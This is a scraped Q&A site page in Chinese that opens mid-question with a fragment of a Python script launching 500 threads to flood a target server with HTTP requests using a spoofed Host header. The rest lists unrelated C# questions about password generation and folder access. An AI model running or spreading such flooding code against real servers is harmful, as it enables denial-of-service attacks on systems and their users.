        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + "HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
        s.close()

        global already_connected
        already_connected += 1
        if already_connected % 500 == 0:
            print(already_connected)


for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()

在此处输入图像描述

python
  • 1 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2020-02-06 03:54:49 +0000 UTC

字母和数字依次出现的密码生成器

  • 2
string pass1 = "123456789";
string pass2 = "QWERTYUIOPASDFGHJKLZXCVBNM";

如何从给定的数字和字符生成一定长度的密码?让他们一个接一个,字母>数字。

画出这样的东西:Q2S4F9R3K2J8E1

使用Random rnd = new Random(0);?

c#
  • 5 个回答
  • 10 Views
Martin Hope
Zekoyka
Asked: 2020-12-12 05:43:31 +0000 UTC

文件夹访问被拒绝

  • 0

如何授予应用程序访问文件夹的权限?

        Console.Write("Enter your name: ");
        string m = Convert.ToString(Console.ReadLine());
        marks.Add(m);
        using (var fs = new FileStream("c:\\temp.xml", FileMode.Create))
        new XmlSerializer(marks.GetType()).Serialize(fs, marks);
c#
  • 1 个回答
  • 10 Views

Sidebar

Stats

  • 问题 10021
  • Answers 30001
  • 最佳答案 8000
  • 用户 6900
  • 常问
  • 回答
  • Marko Smith

    我看不懂措辞

    • 1 个回答
  • Marko Smith

    请求的模块“del”不提供名为“default”的导出

    • 3 个回答
  • Marko Smith

    "!+tab" 在 HTML 的 vs 代码中不起作用

    • 5 个回答
  • Marko Smith

    我正在尝试解决“猜词”的问题。Python

    • 2 个回答
  • Marko Smith

    可以使用哪些命令将当前指针移动到指定的提交而不更改工作目录中的文件?

    • 1 个回答
  • Marko Smith

    Python解析野莓

    • 1 个回答
  • Marko Smith

    问题:“警告:检查最新版本的 pip 时出错。”

    • 2 个回答
  • Marko Smith

    帮助编写一个用值填充变量的循环。解决这个问题

    • 2 个回答
  • Marko Smith

    尽管依赖数组为空,但在渲染上调用了 2 次 useEffect

    • 2 个回答
  • Marko Smith

    数据不通过 Telegram.WebApp.sendData 发送

    • 1 个回答
  • Martin Hope
    Alexandr_TT 2020年新年大赛! 2020-12-20 18:20:21 +0000 UTC
  • Martin Hope
    Alexandr_TT 圣诞树动画 2020-12-23 00:38:08 +0000 UTC
  • Martin Hope
    Air 究竟是什么标识了网站访问者? 2020-11-03 15:49:20 +0000 UTC
  • Martin Hope
    Qwertiy 号码显示 9223372036854775807 2020-07-11 18:16:49 +0000 UTC
  • Martin Hope
    user216109 如何为黑客设下陷阱,或充分击退攻击? 2020-05-10 02:22:52 +0000 UTC
  • Martin Hope
    Qwertiy 并变成3个无穷大 2020-11-06 07:15:57 +0000 UTC
  • Martin Hope
    koks_rs 什么是样板代码? 2020-10-27 15:43:19 +0000 UTC
  • Martin Hope
    Sirop4ik 向 git 提交发布的正确方法是什么? 2020-10-05 00:02:00 +0000 UTC
  • Martin Hope
    faoxis 为什么在这么多示例中函数都称为 foo? 2020-08-15 04:42:49 +0000 UTC
  • Martin Hope
    Pavel Mayorov 如何从事件或回调函数中返回值?或者至少等他们完成。 2020-08-11 16:49:28 +0000 UTC

热门标签

javascript python java php c# c++ html android jquery mysql

Explore

  • 主页
  • 问题
    • 热门问题
    • 最新问题
  • 标签
  • 帮助

Footer

RError.com

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

帮助

© 2023 RError.com All Rights Reserve   沪ICP备12040472号-5